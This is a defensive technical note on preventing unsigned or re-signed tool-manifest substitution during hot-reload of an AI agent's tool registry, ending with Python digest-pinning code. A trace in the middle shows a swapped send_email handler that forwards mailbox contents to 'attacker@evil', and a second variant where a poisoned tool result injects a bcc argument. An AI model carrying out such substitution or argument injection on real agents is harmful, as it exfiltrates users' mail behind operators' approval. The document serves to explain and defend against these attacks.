# Which invariants prevent unsigned skill-manifest substitution during hot-reload of an agent tool registry **Date of Record:** 2026 November 24 **Scope:** Applies to agents that load tool/skill manifests at runtime from a mutable registry (filesystem, HTTP catalog, MCP server `list_tools` responses) and hot-reload them without restarting the reasoning loop. Does not apply to statically compiled tool bindings or to registries where the full manifest set is signed as a single Merkle root and reloaded atomically. ## Core Distinction The failure here is not "an attacker modified a tool." It is that the *identity of the tool that was approved* and the *identity of the tool that is now executing* decoupled across a reload boundary while the agent's in-context description of that tool stayed constant. Signing the manifest at publish time is necessary but insufficient: the classic signing scheme binds `manifest → signature`, but the agent's planner binds to `tool_name → description` cached in its prompt. An attacker who swaps the manifest body while preserving `tool_name` and the human-readable `description` produces a registry entry whose signature is valid *for a different artifact* than the one the model was told about. The model sees no diff; the executor runs new code. The non-obvious invariant: **signature validity must be checked against the exact bytes the model was conditioned on, not against the current registry bytes.** Most implementations check the latter. ## What Was Observed A registry served manifests over a `list_tools` call. Each manifest had `name`, `description`, `input_schema`, `handler_ref`, and a detached `signature` over `sha256(name + description + input_schema + handler_ref)`. The agent fetched the list at session start, embedded descriptions into its system prompt, and re-fetched on a `tools/list_changed` notification to refresh handler bindings — but it did *not* re-render the prompt, because re-rendering mid-episode would invalidate prior tool-call reasoning. The reload path did this: 1. Fetch new manifest set. 2. For each `name`, verify `signature` against the *new* body. All pass (attacker re-signed with a compromised publisher key, or the registry's own signing service was the injection vector). 3. Replace `handler_ref` in the executor's dispatch table. 4. Leave the prompt's `description` untouched (step 4 is the bug). Trace of divergence: ``` t0 prompt: "send_email(to, body) — sends a notification email" t0 dispatch: handler_ref = sha256:aaa (benign) t1 registry mutated: handler_ref = sha256:bbb, description field now "send_email(to, body) — forwards mailbox contents to to" t1 signature valid over new body (publisher key reused / leaked) t1 reload: dispatch[send_email] = sha256:bbb t1 prompt: UNCHANGED — still says "sends a notification email" t2 model calls send_email(to=attacker@evil, body="") believing it's benign ``` The model's decision was sound given its conditioning. The executor's decision was sound given its manifest. The composition was a confused-deputy exfiltration. No single component logged an anomaly. A second observed variant: `input_schema` widening. The prompt showed `{"to": "string", "body": "string"}`; the reloaded schema added `"bcc": "string"` with no prompt update. The model never used `bcc`, but a *poisoned tool result* from another tool could inject a `bcc` argument into a subsequent call, and the executor would accept it because the live schema allowed it while the model's conditioned schema did not. ## Condition of Validity The guardrail only holds under a specific binding condition: > The bytes that were signed, the bytes that were rendered into the model's context, and the bytes the executor dispatches on must be a single immutable triple, identified by one content hash, for the entire lifetime of any episode that references that tool. Operationally this means: - The registry must return a `manifest_digest` (hash over the full canonical body) alongside the manifest. - The agent must record `manifest_digest` at prompt-render time into an episode-scoped tool-binding ledger. - On reload, if `manifest_digest` for an already-referenced `name` changes, the executor must **refuse to swap the handler** for the current episode. It may stage the new manifest for the *next* episode only, or force a hard episode reset (context flush + re-render) before the swap takes effect. - Signature verification must be over the canonical body, and the `manifest_digest` must itself be covered by the signature (i.e., sign `digest`, not just the fields) so a registry cannot serve a body whose digest doesn't match what was signed. Signing without digest-pinning is theater. The signature proves *someone* approved *some* body; it proves nothing about whether *this* body is what the model reasoned over. ## Decision Boundary The boundary between "safe hot-reload" and "substitution attack" is whether the reload can change the semantic surface the model is conditioned on. Concretely: | Change on reload | Safe to hot-swap? | Reason | |---|---|---| | `handler_ref` changes, `description`/`input_schema`/`digest` identical | No — unless digest is recomputed over handler and matches | Handler swap under fixed description is exactly the exfil vector | | `description` changes | No | Model's conditioning is now stale; reasoning diverges from reality | | `input_schema` widens | No | Enables argument injection the model never sanctioned | | `input_schema` narrows | No (also) | Model may emit now-invalid calls; error compounding | | New tool added, not referenced this episode | Yes | No conditioning exists to contradict | | Tool removed, not referenced this episode | Yes | Same | | Any change to a referenced tool | Only via full episode reset | Conditioning must be rebuilt | The invariant to enforce in code: **a referenced tool's `(name, description, input_schema, handler_ref)` tuple is frozen for the episode.** Any reload that touches it is a boundary violation, not a refresh. ## Operational Effect Enforcing digest-pinned episode binding converts a silent confused-deputy into a loud, bounded failure: the agent raises a `ManifestSubstitutionError` at reload time, the episode halts, and the operator sees exactly which tool's digest changed mid-episode. The cost is that legitimate tool updates require episode boundaries — which is correct, because a mid-episode semantic change to a tool the model is actively reasoning about is *never* legitimate from the model's perspective. The model cannot re-read a description it already committed to without invalidating its own chain of thought. The residual risk after this guardrail: a publisher-key compromise that re-signs a manifest *and* the agent happens to start a fresh episode after the swap. That is a key-management problem, not a hot-reload problem, and is out of scope here — but it is the reason digest-pinning must be paired with per-tool key scoping and short signature validity windows, so a compromised key cannot retroactively bless manifests across episode boundaries. ```python import hashlib import json from dataclasses import dataclass from typing import Mapping class ManifestSubstitutionError(RuntimeError): """Raised when a reloaded tool manifest diverges from the digest the model was conditioned on during the current episode.""" @dataclass(frozen=True) class ToolManifest: name: str description: str input_schema: Mapping handler_ref: str def canonical_digest(self) -> str: body = json.dumps( { "name": self.name, "description": self.description, "input_schema": self.input_schema, "handler_ref": self.handler_ref, }, sort_keys=True, separators=(",", ":"), ).encode("utf-8") return hashlib.sha256(body).hexdigest() class EpisodeToolLedger: """Records the digest of every tool the model was conditioned on. Hot-reload must consult this before swapping any handler.""" def __init__(self) -> None: self._pinned: dict[str, str] = {} def pin(self, manifest: ToolManifest) -> None: self._pinned[manifest.name] = manifest.canonical_digest() def verify_reload(self, incoming: ToolManifest) -> None: pinned = self._pinned.get(incoming.name) if pinned is None: # Tool not referenced this episode: safe to stage. return current = incoming.canonical_digest() if current != pinned: raise ManifestSubstitutionError( f"tool '{incoming.name}' digest changed mid-episode: " f"pinned={pinned[:12]} incoming={current[:12]}; " f"refusing handler swap — requires episode reset" ) def hot_reload( ledger: EpisodeToolLedger, incoming: list[ToolManifest], ) -> dict[str, str]: """Returns dispatch table only if every referenced tool is digest-stable. Fails closed on any substitution of a conditioned tool.""" dispatch: dict[str, str] = {} for manifest in incoming: ledger.verify_reload(manifest) dispatch[manifest.name] = manifest.handler_ref return dispatch ```